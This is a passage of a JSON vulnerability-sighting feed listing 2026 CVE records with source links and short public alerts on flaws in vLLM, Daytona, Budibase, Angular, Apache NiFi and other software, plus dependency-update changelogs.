"https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-wv3x-4vxv-whpp", "content": "", "creation_timestamp": "2026-06-16T21:35:27.000000Z"}, {"uuid": "441348f9-2f41-4847-b13f-6d8a364ce852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54904", "type": "published-proof-of-concept", "source": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj", "content": "", "creation_timestamp": "2026-06-16T21:35:21.000000Z"}, {"uuid": "383ba062-10ab-4cef-9f90-bde35c69f220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54900", "type": "published-proof-of-concept", "source": "https://github.com/ohler55/oj/security/advisories/GHSA-9cv6-qcjw-4grx", "content": "", "creation_timestamp": "2026-06-16T14:37:57.000000Z"}, {"uuid": "f4ec3505-62c8-4eb4-ac93-573f68173b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54920", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3moor6754ks2n", "content": "7/9\n\nhttps://www.cve.org/CVERecord?id=CVE-2026-55371\n    https://www.cve.org/CVERecord?id=CVE-2026-55059\n    https://www.cve.org/CVERecord?id=CVE-2026-54920\n    https://www.cve.org/CVERecord?id=CVE-2026-53532\n  (* Security fix *)\nn/mutt-2.4.0-x86_64-1.txz:  Upgraded.", "creation_timestamp": "2026-06-20T02:01:08.518917Z"}, {"uuid": "882d505c-738c-4475-a69a-0f79ae513eaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3moostal2o52d", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50656: 26 interactions\nCVE-2026-54420: 26 interactions\nCVE-2026-20262: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-20253: 6 interactions\nCVE-2026-47729: 5 interactions\nCVE-2026-8713: 4 interactions\n", "creation_timestamp": "2026-06-20T02:30:48.117066Z"}, {"uuid": "2a0672d2-c8d4-48e9-93a0-78bcc2900f19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mopqxcs4mi2l", "content": "CISA added LiteSpeed cPanel Plugin flaw (CVE-2026-54420, CVSS 8.5) to KEV. FCEB agencies must fix it by June 18, 2026, to address privilege escalation risk.", "creation_timestamp": "2026-06-20T11:29:56.802316Z"}, {"uuid": "ed8b4891-1e4c-4798-9eb1-9f92f2cc7f4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54665", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3moqg7lyhop2q", "content": "CVE-2026-54665: Apache NiFi: Missing Validation for Proxy Host Headers", "creation_timestamp": "2026-06-20T17:50:23.585568Z"}, {"uuid": "d9deaf0c-b811-42e4-91ae-8620264dcca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mordczgryp2n", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50656: 27 interactions\nCVE-2026-54420: 27 interactions\nCVE-2026-20262: 22 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-9082: 12 interactions\nCVE-2026-11551: 5 interactions\nCVE-2026-4020: 4 interactions\n", "creation_timestamp": "2026-06-21T02:33:26.926411Z"}, {"uuid": "72c1b88e-85f9-4337-8b26-b9bc5ffca871", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54130", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motnkaovrn2m", "content": "\ud83d\udea8  ALERT: CVE-2026-54130\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nMissing authentication for critical function in M365 Copilot allows an unauthorized attacker to disclose information over a network.\n\n\ud83c\udfaf WHO'S AFFECTED:\n  \u2022 M365 Copilot\n\n\u2694\ufe0f HOW IT'S EXPLOITED:\nAttack vector: NETWORK\nImpact: high impact on confiden", "creation_timestamp": "2026-06-22T00:39:36.127067Z"}, {"uuid": "e55413bd-c550-432b-8c13-92a0211393f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54390", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motnkhesiv2m", "content": "\ud83d\udea8  ALERT: CVE-2026-54390\n\nCVSS 9.8/10\n\n\ud83d\udccb WHAT IT IS:\nJTL Shop versions 5.2.0 through 5.7.1 contains a server-side template injection vulnerability that allows unauthenticated attackers to inject malicious template syntax due to unsanitized user-supplied input passed to the Smarty template engine. At", "creation_timestamp": "2026-06-22T00:39:42.945026Z"}, {"uuid": "550de4d4-af85-45b3-baa4-5be08c7ff4dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mottrv2xxt2l", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50656: 28 interactions\nCVE-2026-20262: 25 interactions\nCVE-2026-54420: 25 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-20253: 6 interactions\nCVE-2026-25253: 4 interactions\nCVE-2026-35469: 4 interactions\n", "creation_timestamp": "2026-06-22T02:31:15.826355Z"}, {"uuid": "e2635773-1b48-435d-ad5d-fa3cf7f2d6b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54236", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-54236.yaml", "content": "", "creation_timestamp": "2026-06-21T23:10:21.000000Z"}, {"uuid": "956951c5-9e4d-48de-a20c-9ed289a123d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/210e7bfcea49d586e96f62e2f40443f1", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Misc**\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)", "creation_timestamp": "2026-06-22T07:46:39.000000Z"}, {"uuid": "b45bcdcd-dd33-4ea8-af1d-c60dd449f3e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54665", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mouuauis2z25", "content": "CVE-2026-54665 - Apache NiFi: Missing Validation for Proxy Host Headers\nCVE ID : CVE-2026-54665\n \n Published : June 22, 2026, 7:34 a.m. | 4\u00a0hours, 9\u00a0minutes ago\n \n Description : Apache NiFi 0.0.1 through 2.9.0 support building qualified URLs from one of several HTTP request he...", "creation_timestamp": "2026-06-22T12:12:17.273728Z"}, {"uuid": "a75130e4-9f08-454c-ac32-57a6499f8ecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54099", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116794504971083136", "content": "A new vulnerability with increased severity was disclosed for Red Hat OpenShift Container Platform 4 and OpenShift for Windows Containers (CVE-2026-54099) https://vuldb.com/vuln/372682", "creation_timestamp": "2026-06-22T15:38:39.226160Z"}, {"uuid": "384291cc-4796-4d4d-b8cb-d809ef562c4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54458", "type": "published-proof-of-concept", "source": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8whc-2wmv-ww35", "content": "", "creation_timestamp": "2026-06-04T14:49:58.000000Z"}, {"uuid": "0250e9e3-1755-458e-9575-2886786c0686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54264", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow2atv7uv2q", "content": "CVE-2026-54264 - Angular: Sensitive Header Leakage on Cross-Origin Redirects in Angular Service Worker\nCVE ID : CVE-2026-54264\n \n Published : June 22, 2026, 3:32 p.m. | 7\u00a0hours, 37\u00a0minutes ago\n \n Description : Angular is a development platform for building mobile and desktop w...", "creation_timestamp": "2026-06-22T23:32:18.671082Z"}, {"uuid": "221ebd9e-723f-4630-ab18-2c6b8c82df81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54271", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow2xvn5ft2q", "content": "CVE-2026-54271 - protobufjs-cli: Code injection in pbjs static output from crafted JSON descriptor names\nCVE ID : CVE-2026-54271\n \n Published : June 22, 2026, 4:16 p.m. | 6\u00a0hours, 54\u00a0minutes ago\n \n Description : protobufjs-cli is the command line add-on for protobuf.js. Prior ...", "creation_timestamp": "2026-06-22T23:45:12.433472Z"}, {"uuid": "c8e5c297-d7b8-416e-a973-dc1e8fd22f5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54268", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow3ikyahx2q", "content": "CVE-2026-54268 - Angular: Denial of Service (DoS) via OOM in Date Formatting (formatDate)\nCVE ID : CVE-2026-54268\n \n Published : June 22, 2026, 3:31 p.m. | 7\u00a0hours, 38\u00a0minutes ago\n \n Description : Angular is a development platform for building mobile and desktop web applicatio...", "creation_timestamp": "2026-06-22T23:54:31.830266Z"}, {"uuid": "483fba80-eac1-4586-b63d-d07276e8df52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54352", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mow4im4pyb2r", "content": "A single Budibase app builder can read every secret on your server.\n\nA rigged app-icon upload exposes the master keys, forges an admin token, and reaches every workspace.\n\nSelf-hosted? Update to 3.39.9 and rotate secrets. (CVE-2026-54352)", "creation_timestamp": "2026-06-23T00:12:27.775773Z"}, {"uuid": "8ec85c40-3502-4d3d-9227-06079c19c3ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54233", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow4qv4vqu2m", "content": "CVE-2026-54233 - vLLM: OOM Denial of Service via Audio Decompression Bomb\nCVE ID : CVE-2026-54233\n \n Published : June 22, 2026, 10:10 p.m. | 1\u00a0hour, 33\u00a0minutes ago\n \n Description : vLLM is an inference and serving engine for large language models (LLMs). Prior to 0.23.1rc0, vL...", "creation_timestamp": "2026-06-23T00:17:06.537015Z"}, {"uuid": "705fbb10-2fc9-4b64-bbd9-c4470bbcf8a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54236", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow5iusltg2q", "content": "CVE-2026-54236 - vLLM: incomplete CVE-2026-22778 fix leaks PIL repr addresses via Anthropic router\nCVE ID : CVE-2026-54236\n \n Published : June 22, 2026, 10:09 p.m. | 1\u00a0hour, 34\u00a0minutes ago\n \n Description : vLLM is an inference and serving engine for large language models (LLMs...", "creation_timestamp": "2026-06-23T00:30:29.607620Z"}, {"uuid": "05edb625-7fd3-4d5b-9009-6868441ac2c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54353", "type": "published-proof-of-concept", "source": "https://github.com/Budibase/budibase/security/advisories/GHSA-gfq7-5x4g-3xhf", "content": "", "creation_timestamp": "2026-06-04T08:57:12.000000Z"}, {"uuid": "83d8cde4-c156-4cdb-bcae-c60c0651005b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54351", "type": "published-proof-of-concept", "source": "https://github.com/Budibase/budibase/security/advisories/GHSA-rgvg-3wpc-h44p", "content": "", "creation_timestamp": "2026-06-04T08:55:20.000000Z"}, {"uuid": "28cf54cc-98ec-4d59-ad2d-18216c88f96b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54235", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow5sapd2523", "content": "CVE-2026-54235 - vLLM: temperature=NaN and temperature=Infinity bypass validation and propagate to GPU kernels\nCVE ID : CVE-2026-54235\n \n Published : June 22, 2026, 9:59 p.m. | 1\u00a0hour, 45\u00a0minutes ago\n \n Description : vLLM is an inference and serving engine for large language m...", "creation_timestamp": "2026-06-23T00:35:43.885162Z"}, {"uuid": "0ac74372-4a3e-4d93-b7f1-2c80157629d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54232", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow7gveg3u2j", "content": "CVE-2026-54232 - vLLM: Dependency Confusion Vulnerability in vLLM Dockerfile\nCVE ID : CVE-2026-54232\n \n Published : June 22, 2026, 10:16 p.m. | 1\u00a0hour, 27\u00a0minutes ago\n \n Description : vLLM is an inference and serving engine for large language models (LLMs). Prior to 0.22.1, th...", "creation_timestamp": "2026-06-23T01:05:10.436634Z"}, {"uuid": "bbb01772-681d-4821-87ec-0607ad947f92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mowe7iydwb2a", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50656: 28 interactions\nCVE-2026-20262: 23 interactions\nCVE-2026-54420: 23 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-4020: 5 interactions\nCVE-2026-6645: 5 interactions\nCVE-2025-66336: 4 interactions\n", "creation_timestamp": "2026-06-23T02:30:31.949886Z"}, {"uuid": "74a7f072-d0e5-4dd6-89c0-2c81d16feba3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/ab93e146cc99aae8067dd21a2f0d18da", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)", "creation_timestamp": "2026-06-23T08:08:29.000000Z"}, {"uuid": "5cd136a1-5438-44ac-ba64-4fa8a70de520", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54900", "type": "published-proof-of-concept", "source": "Telegram/Ux0Srfv4G3zHF3MG_EHSnP5GOba0EJzABgxiD6ZSq_lILU0", "content": "", "creation_timestamp": "2026-08-06T07:00:04.112482Z"}, {"uuid": "bf514093-2070-4b9f-8e14-07279ad1dd01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54297", "type": "seen", "source": "https://gist.github.com/muhamedfazalps/a3449070789a6a2c13d4d4e844af803b", "content": "# \u26a0\ufe0f SECURITY ALERT: Multiple CVEs Affecting Popular Packages (June 2026)\n\n## CVE-2026-48931 \u2014 Node.js 24.17 / node-fetch Premature Close\n- **Impact:** Affects Node.js 24.17 and any app using node-fetch\n- **Severity:** High\n- **Affected:** Backstage (20\ud83d\udc4d issue), any Node.js app on 24.17\n- **Fix:** Update Node.js or apply backport\n- **Issue:** https://github.com/backstage/backstage/issues/34651\n\n## CVE-2026-54297 \u2014 Faraday Dependency Vulnerability\n- **Impact:** Affects Fastlane and apps using Faraday\n- **Severity:** High\n- **Affected:** Fastlane (9\ud83d\udc4d issue), any Ruby app using Faraday\n- **Fix:** Update Faraday dependency\n- **Issue:** https://github.com/fastlane/fastlane/issues/30086\n\n## CVE-2026-42530 & CVE-2026-42055 \u2014 nginx Vulnerabilities\n- **Impact:** Affects nginx and mailcow-dockerized\n- **Severity:** High\n- **Affected:** mailcow-dockerized (7\ud83d\udc4d issue), any nginx deployment\n- **Fix:** Update nginx to patched version\n- **Issue:** https://github.com/mailcow/mailcow-dockerized/issues/7299\n\n## js-yaml Quadratic DoS (v3.x)\n- **Impact:** Affects any app using js-yaml v3.x for YAML parsing\n- **Severity:** Medium-High\n- **Affected:** 15\ud83d\udc4d issue requesting backport from v4.2.0 to v3\n- **Fix:** Update to js-yaml v4.2.0+ or apply backport\n- **Issue:** https://github.com/nodeca/js-yaml/issues/762\n\n## How to Check If You're Affected\n1. Check your Node.js version: `node --version`\n2. Check your Ruby/Bundler dependencies: `bundle list | grep faraday`\n3. Check your nginx version: `nginx -v`\n4. Check your js-yaml version: `npm ls js-yaml`\n\n## What to Do\n1. Update affected dependencies immediately\n2. Review logs for suspicious activity\n3. Rotate credentials if exposure is suspected\n\n---\n*If this alert helped you: https://buymeacoffee.com/muhamedfazalps*\n", "creation_timestamp": "2026-06-23T13:41:44.000000Z"}, {"uuid": "b4725868-0b72-4ada-8479-de13c3f84037", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f26bd3cc-065a-461e-9c0e-cc278b73e637", "content": "", "creation_timestamp": "2026-06-23T14:02:57.735167Z"}, {"uuid": "67473346-3cf9-4b36-9538-6ac98636ff59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54892", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moxl5ook3g2a", "content": "CVE-2026-54892 - Plug: quadratic-time decoding of nested query/body parameters enables denial of service\nCVE ID : CVE-2026-54892\n \n Published : 23 juin 2026 12:31 | 1\u00a0heure, 12\u00a0minutes ago\n \n Description : Inefficient algorithmic complexity in Plug's nested-parameter decoder a...", "creation_timestamp": "2026-06-23T14:07:25.908341Z"}, {"uuid": "80690c57-5a9f-4882-ae35-fbc9be6e0a30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5430", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/gdxntzqkx3yrb", "content": "CVE-2026-5430 - Authentication Bypass via JWT Algorithm Mismatch in Multiple WSO2 Products Allows Account Takeover\nCVE ID : CVE-2026-5430\n \n Published : Aug. 6, 2026, 7:33 a.m. | 47\u00a0minutes ago\n \n Description : The JWT authentication mechanism accepts tokens signed with algori...", "creation_timestamp": "2026-08-06T08:34:33.578188Z"}, {"uuid": "f7ba7073-cf0c-4303-be3c-7a4eef032ee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54763", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msq6vu3qme2z", "content": "\ud83d\udd17 CVE : CVE-2026-33377, CVE-2026-54763", "creation_timestamp": "2026-08-10T13:20:26.731146Z"}, {"uuid": "f893160e-d84f-4521-b09c-fffd08d4e2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54291", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msq6vheark2o", "content": "\ud83d\udd17 CVE : CVE-2018-11798, CVE-2019-0205, CVE-2020-13949, CVE-2026-43869, CVE-2026-45205, CVE-2026-54291, CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-56819, CVE-2026-59898, CVE-2026-59899, CVE-2026-59900, CVE-2026-59901, CVE-2026-59921", "creation_timestamp": "2026-08-10T13:20:13.546618Z"}, {"uuid": "3f937ff6-0d03-48b6-9391-52764c61eb73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54512", "type": "published-proof-of-concept", "source": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-j3rv-43j4-c7qm", "content": "", "creation_timestamp": "2026-06-16T01:10:42.000000Z"}, {"uuid": "2911f729-73bf-4f38-8436-423911bf917a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/86e5c2081bd4ad466f1c6361f0315148", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)", "creation_timestamp": "2026-06-23T14:58:51.000000Z"}, {"uuid": "7ab76f5f-f258-4a63-95b2-4407c133e52e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54299", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3moxuyx7ntw2f", "content": "CVE-2026-54299 - SSRF in Astro SSR apps. Host header injection allows fetching arbitrary URLs via prerendered error pages. CVSS 7.5. Update to 6.4.6 immediately. #CVE #Astro #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54299/", "creation_timestamp": "2026-06-23T17:03:44.788697Z"}, {"uuid": "b2094464-a4f8-49ca-9482-2e7e5ee5b87d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54320", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moy7cs26fp2f", "content": "CVE-2026-54320 - Daytona: Cross-tenant organization takeover via invitation acceptance with an unverified email\nCVE ID : CVE-2026-54320\n \n Published : June 23, 2026, 6:11 p.m. | 1\u00a0hour, 32\u00a0minutes ago\n \n Description : Daytona is a secure and elastic infrastructure runtime for ...", "creation_timestamp": "2026-06-23T20:08:12.256339Z"}, {"uuid": "5cf9b12b-ca33-4be2-8d95-c557b8a97d4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54319", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moy7frrskd24", "content": "CVE-2026-54319 - Daytona: Path traversal in sandbox volume id mounts arbitrary host paths into the sandbox \u2014 cross-tenant data access and host escape\nCVE ID : CVE-2026-54319\n \n Published : June 23, 2026, 6:08 p.m. | 1\u00a0hour, 35\u00a0minutes ago\n \n Description : Daytona is a secure a...", "creation_timestamp": "2026-06-23T20:09:52.486018Z"}, {"uuid": "d02dfaf2-37a5-415a-9c2a-c270a77b274b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54323", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moy7ixesuo2r", "content": "CVE-2026-54323 - Daytona: Git credential leak via git clone with TLS verification disabled\nCVE ID : CVE-2026-54323\n \n Published : June 23, 2026, 6:06 p.m. | 1\u00a0hour, 37\u00a0minutes ago\n \n Description : Daytona is a secure and elastic infrastructure runtime for AI-generated code exe...", "creation_timestamp": "2026-06-23T20:11:39.107264Z"}, {"uuid": "111a2f8e-5d73-4a34-90f3-b4138c2c1cf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54157", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moy7tridr52f", "content": "CVE-2026-54157 - LobeHub: Unauthenticated SSRF in `/webapi/proxy`\nCVE ID : CVE-2026-54157\n \n Published : June 23, 2026, 5:43 p.m. | 2\u00a0hours, 1\u00a0minute ago\n \n Description : LobeHub is a work-and-lifestyle space to find, build, and collaborate with agent teammates that grow with ...", "creation_timestamp": "2026-06-23T20:17:42.179410Z"}, {"uuid": "fd43a49a-d356-4896-ab3f-b0f13b2e2494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54322", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moy7xvxbae2l", "content": "CVE-2026-54322 - Daytona: Cross-org IDOR in organization role update/delete \u2014 any org owner can rewrite or destroy another org's roles\nCVE ID : CVE-2026-54322\n \n Published : June 23, 2026, 6:07 p.m. | 1\u00a0hour, 36\u00a0minutes ago\n \n Description : Daytona is a secure and elastic infr...", "creation_timestamp": "2026-06-23T20:20:00.880671Z"}, {"uuid": "1f8ed2da-1744-4520-b559-99f2c493ef59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 